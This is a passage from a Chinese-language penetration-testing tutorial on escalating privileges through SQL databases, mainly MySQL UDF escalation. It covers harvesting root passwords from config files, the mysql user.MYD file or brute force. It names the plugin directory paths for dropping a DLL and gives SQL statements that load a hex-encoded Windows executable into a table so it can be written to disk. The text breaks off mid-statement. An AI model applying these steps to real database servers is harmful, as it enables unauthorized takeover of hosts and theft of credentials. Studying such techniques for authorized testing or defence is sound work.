权限提升-MY&MS&ORA等SQL数据库的提权
再利用系统溢出漏洞无果的情况下,可以采用数据库进行提权,但需要知道数据库提权的前提条件;服务器开启数据库服务以及能获取到最高权限用户密码。除Access数据库外,其他数据库基本都存在数据库提权的可能。
步骤:1.探针 2.收集 3.分类
探针:扫描不同数据库对应的特定端口;探测哪些服务开启
收集:权限密码的获取通过配置文件,存储文件,暴力猜解
分类:MySQL:UDF MOF 启动项 反弹shell
UDF提权(基于MySQL调用命令执行函数)
MySQL最高权限用户名为root,读取配置文件获取数据库密码;读取数据库存储或备份文件(MySQL下data文件夹里包含了各个表名,列名,以文件夹的形式储存,.MYD文件打开就是表里的内容,因为MySQL账号密码默认储存在mysql库中的user表,所以可以打开data/mysql/user.MYD),或者用MySQL爆破脚本。
当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。
当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
sel